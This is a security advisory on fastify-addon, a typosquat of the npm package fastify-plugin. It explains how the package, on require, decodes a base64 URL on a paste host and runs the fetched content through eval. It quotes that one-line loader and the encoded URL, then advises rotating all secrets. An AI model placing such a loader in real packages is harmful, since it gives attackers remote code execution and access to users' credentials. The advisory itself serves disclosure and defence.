MAL-2026-5566 Malicious code in fastify-addon (npm)

fastify-addon is a typosquat of the legitimate fastify-plugin package. Its package.json sets repository, bugs, and homepage to github.com/fastify/fastify-plugin (an unrelated upstream project), and the README replicates fastify-plugin's API to deceive installers. On require, lib/getPluginName.js (loaded transitively from the package main plugin.js) executes a top-level statement that fetches a base64-hidden URL (https://www.jsonkeeper.com/b/UBMJA, decoded from atob('aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VQk1KQQ==')) and passes the response's.content field directly to eval: fetch(atob(...)).then(r=>r.json()).then(d=>{eval(d.content)}). The destination is a mutable third-party JSON paste host, so the executed payload is attacker-controlled and can change at any time. Any process that requires fastify-addon will run whatever JavaScript the attacker currently hosts at that URL, with full access to the consumer's environment, credentials, and filesystem.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.